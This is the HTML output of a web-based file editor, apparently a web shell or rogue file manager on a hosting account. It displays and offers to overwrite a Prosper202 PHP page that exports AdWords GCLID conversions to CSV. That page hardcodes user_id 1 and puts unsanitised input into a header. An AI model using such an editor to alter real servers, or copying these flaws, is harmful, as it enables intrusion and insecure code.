<h2>File Contents: /home/planet5/.trash/tracking202/export/index.php</h2><form method='POST' action=''><input type='hidden' name='edit_file' value='/home/planet5/.trash/tracking202/export/index.php'><textarea name='file_content' rows='10' cols='50'>&lt;?php 
include_once(str_repeat(&quot;../&quot;, 2).&#039;202-config/connect.php&#039;);

AUTH::require_user();

$mysql[&#039;user_id&#039;] = $db-&gt;real_escape_string($_SESSION[&#039;user_id&#039;]);

if ($_SERVER[&#039;REQUEST_METHOD&#039;] == &#039;POST&#039;) {
	$error = false;
	if (empty($_POST[&#039;aff_campaign&#039;]) || empty($_POST[&#039;conversion_name&#039;]) || empty($_POST[&#039;time_from&#039;]) || empty($_POST[&#039;time_to&#039;])) {
		$error = true;
	} else {

		$user_sql = &quot;SELECT user_timezone FROM 202_users WHERE user_id = &#039;&quot;.$mysql[&#039;user_id&#039;].&quot;&#039;&quot;;
		$user_results = $db-&gt;query($user_sql);
		$user_row = $user_results-&gt;fetch_assoc();

		$from = explode(&#039;/&#039;, $_POST[&#039;time_from&#039;]); 
	    $from_month = trim($from[0]);
		$from_day = trim($from[1]);
		$from_year = trim($from[2]);

	    $to = explode(&#039;/&#039;, $_POST[&#039;time_to&#039;]); 
	    $to_month = trim($to[0]);
	    $to_day = trim($to[1]);
	    $to_year = trim($to[2]);

	    $time_from = mktime(0,00,0,$from_month,$from_day,$from_year);
	    $time_to = mktime(23,59,59,$to_month,$to_day,$to_year); 

	    $time = new DateTime(date(&#039;Y-m-d H:i:s&#039;), new DateTimeZone($user_row[&#039;user_timezone&#039;]));
		$timezoneOffset = $time-&gt;format(&#039;O&#039;);

		$output = fopen(&quot;php://output&quot;, &quot;w&quot;);
		fputcsv($output, array(&#039;Parameters:EntityType=OFFLINECONVERSION;TimeZone=&#039;.$timezoneOffset.&#039;;&#039;));

		$mysql[&#039;aff_campaign&#039;] = $db-&gt;real_escape_string($_POST[&#039;aff_campaign&#039;]);
		$gclid_sql = &quot;SELECT aff_campaign_name, click_time, gclid, click_payout, aff_campaign_currency FROM 202_clicks
					  JOIN 202_aff_campaigns USING (aff_campaign_id)
				      JOIN 202_google USING (click_id)
					  WHERE 202_clicks.user_id = 1 
					  AND aff_campaign_id = &#039;&quot;.$mysql[&#039;aff_campaign&#039;].&quot;&#039;
					  AND gclid != &#039;&#039;
					  AND click_lead = 1 
					  AND click_time &gt;= &#039;&quot;.$time_from.&quot;&#039; 
					  AND click_time &lt;= &#039;&quot;.$time_to.&quot;&#039;&quot;;
		$gclid_results = $db-&gt;query($gclid_sql);
		
		while ($gclid_row = $gclid_results-&gt;fetch_assoc()) {
			$campaign_name = $gclid_row[&#039;aff_campaign_name&#039;];
			fputcsv($output, array($gclid_row[&#039;gclid&#039;], $_POST[&#039;conversion_name&#039;], date(&#039;m/d/Y H:i:s&#039;, $gclid_row[&#039;click_time&#039;]), number_format((float)$gclid_row[&#039;click_payout&#039;], 2, &#039;.&#039;, &#039;&#039;), $gclid_row[&#039;aff_campaign_currency&#039;]));
		}

		header(&#039;Content-Type: text/csv; charset=utf-8&#039;);
		header(&#039;Content-Disposition: attachment; filename=gclid_&#039;.$campaign_name.&#039;_&#039;.$_POST[&#039;time_from&#039;].&#039;_&#039;.$_POST[&#039;time_to&#039;].&#039;.csv&#039;);
		header(&quot;Pragma: no-cache&quot;);
		header(&quot;Expires: -1&quot;);

		fclose($output);
		die();
	}
}

$aff_campaign_sql = &quot;SELECT *
					FROM `202_aff_campaigns`
					WHERE `user_id`=&#039;&quot;.$mysql[&#039;user_id&#039;].&quot;&#039;
					AND `aff_campaign_deleted`=&#039;0&#039;
					ORDER BY `aff_campaign_name` ASC&quot;;
$aff_campaign_results = $db-&gt;query($aff_campaign_sql);

template_top(&#039;Export GCLID&#039;, NULL, NULL, NULL); ?&gt;

&lt;div class=&quot;row&quot;&gt;
	&lt;div class=&quot;col-xs-12&quot;&gt;
		&lt;h6&gt;Export GCLID to .CSV&lt;/h6&gt;
		&lt;small&gt;Sometimes, a click on an AdWords ad doesn&#039;t lead directly to an online sale, but instead starts a customer down a path that ultimately leads to a sale in the offline world, such as at your office or over the phone. By importing offline conversions, you can measure what happens in the offline world after a click on one of your ads.&lt;/small&gt;
		&lt;div class=&quot;&lt;?php if($error) echo &quot;error&quot;;?&gt;&quot; style=&quot;margin-top: 20px;&quot;&gt;
			&lt;small&gt;
				&lt;?php if ($error) { ?&gt; 
					&lt;span class=&quot;fui-alert&quot;&gt;&lt;/span&gt; All fields are required!
				&lt;?php } ?&gt;
			&lt;/small&gt;
		&lt;/div&gt;
	&lt;/div&gt;
&lt;/div&gt;

&lt;div class=&quot;row form_seperator&quot; style=&quot;margin-bottom:15px; margin-top:15px;&quot;&gt;
	&lt;div class=&quot;col-xs-12&quot;&gt;&lt;/div&gt;
&lt;/div&gt;

&lt;div class=&quot;row&quot;&gt;
	&lt;div class=&quot;col-xs-12&quot;&gt;
		&lt;form class=&quot;form-horizontal&quot; method=&quot;post&quot; role=&quot;form&quot;&gt;
		  &lt;div class=&quot;form-group&quot; style=&quot;margin-bottom: 0px;&quot;&gt;
		    &lt;div class=&quot;col-xs-12&quot;&gt;
			    &lt;label for=&quot;aff_campaign&quot;&gt;Campaign&lt;/label&gt;
			    &lt;select class=&quot;form-control input-sm&quot; id=&quot;aff_campaign&quot; name=&quot;aff_campaign&quot;&gt;
				    &lt;option&gt;--&lt;/option&gt;
				    &lt;?php
				    while ($aff_campaign_row = $aff_campaign_results-&gt;fetch_array(MYSQLI_ASSOC)) { ?&gt;
				    	&lt;option value=&quot;&lt;?php echo $aff_campaign_row[&#039;aff_campaign_id&#039;]?&gt;&quot;&gt;&lt;?php echo $aff_campaign_row[&#039;aff_campaign_name&#039;]?&gt;&lt;/option&gt;
				    &lt;?php } ?&gt;
				&lt;/select&gt;
			&lt;/div&gt;
		  &lt;/div&gt;
		  &lt;div class=&quot;form-group&quot; style=&quot;margin-bottom: 0px;&quot;&gt;
			  &lt;div class=&quot;col-xs-12&quot;&gt;
			    &lt;label for=&quot;conversion_name&quot;&gt;Conversion Name &lt;span class=&quot;fui-info-circle&quot; style=&quot;font-size: 12px;&quot; data-toggle=&quot;tooltip&quot; title=&quot;&quot; data-original-title=&quot;the name of the conversion action (for example, &#039;lead qualified&#039; or &#039;contract signed&#039;). It&#039;s important that you use the exact same spelling and capitalization that you did when you created this conversion action in your AdWords account.&quot;&gt;&lt;/span&gt;&lt;/label&gt;
			    &lt;input type=&quot;text&quot; class=&quot;form-control input-sm&quot; id=&quot;conversion_name&quot; name=&quot;conversion_name&quot; placeholder=&quot;lead qualified, contract signed, etc&quot;&gt;
			  &lt;/div&gt;
		  &lt;/div&gt;
		  &lt;div class=&quot;form-group datepicker&quot; style=&quot;margin-bottom: 0px;&quot;&gt;
			  &lt;div class=&quot;col-xs-12&quot;&gt;
			    &lt;label for=&quot;time_from&quot;&gt;From&lt;/label&gt;
			    &lt;input type=&quot;text&quot; class=&quot;form-control input-sm&quot; id=&quot;time_from&quot; name=&quot;time_from&quot; placeholder=&quot;&lt;?php echo date(&#039;m/d/Y &#039;, time() - 86400);?&gt;&quot;&gt;
			  &lt;/div&gt;
		  &lt;/div&gt;
		  &lt;div class=&quot;form-group datepicker&quot;&gt;
			  &lt;div class=&quot;col-xs-12&quot;&gt;
			    &lt;label for=&quot;time_to&quot;&gt;To&lt;/label&gt;
			    &lt;input type=&quot;text&quot; class=&quot;form-control input-sm&quot; id=&quot;time_to&quot; name=&quot;time_to&quot; placeholder=&quot;&lt;?php echo date(&#039;m/d/Y &#039;, time());?&gt;&quot;&gt;
			  &lt;/div&gt;
		  &lt;/div&gt;
		  &lt;div class=&quot;form-group&quot;&gt;
			  &lt;div class=&quot;col-xs-3&quot;&gt;
			    &lt;button type=&quot;submit&quot; class=&quot;btn btn-sm btn-p202&quot;&gt;Export&lt;/button&gt;
			  &lt;/div&gt;
		  &lt;/div&gt;
		&lt;/form&gt;
	&lt;/div&gt;
&lt;/div&gt;

&lt;script type=&quot;text/javascript&quot;&gt;
	$(document).ready(function() {
		$(&#039;.datepicker input:text&#039;).datepicker({
		    dateFormat: &#039;mm/dd/yy&#039;,

		    onSelect: function(datetext){
		    	$(this).val(datetext);
		    },
		});
	});
&lt;/script&gt;

&lt;?php template_bottom(); ?&gt;</textarea><br><button type='submit'>Save Changes</button></form><a href='?dir=%2Fhome%2Fplanet5%2F.trash%2Ftracking202%2Fexport'>⬅ Back to Directory</a>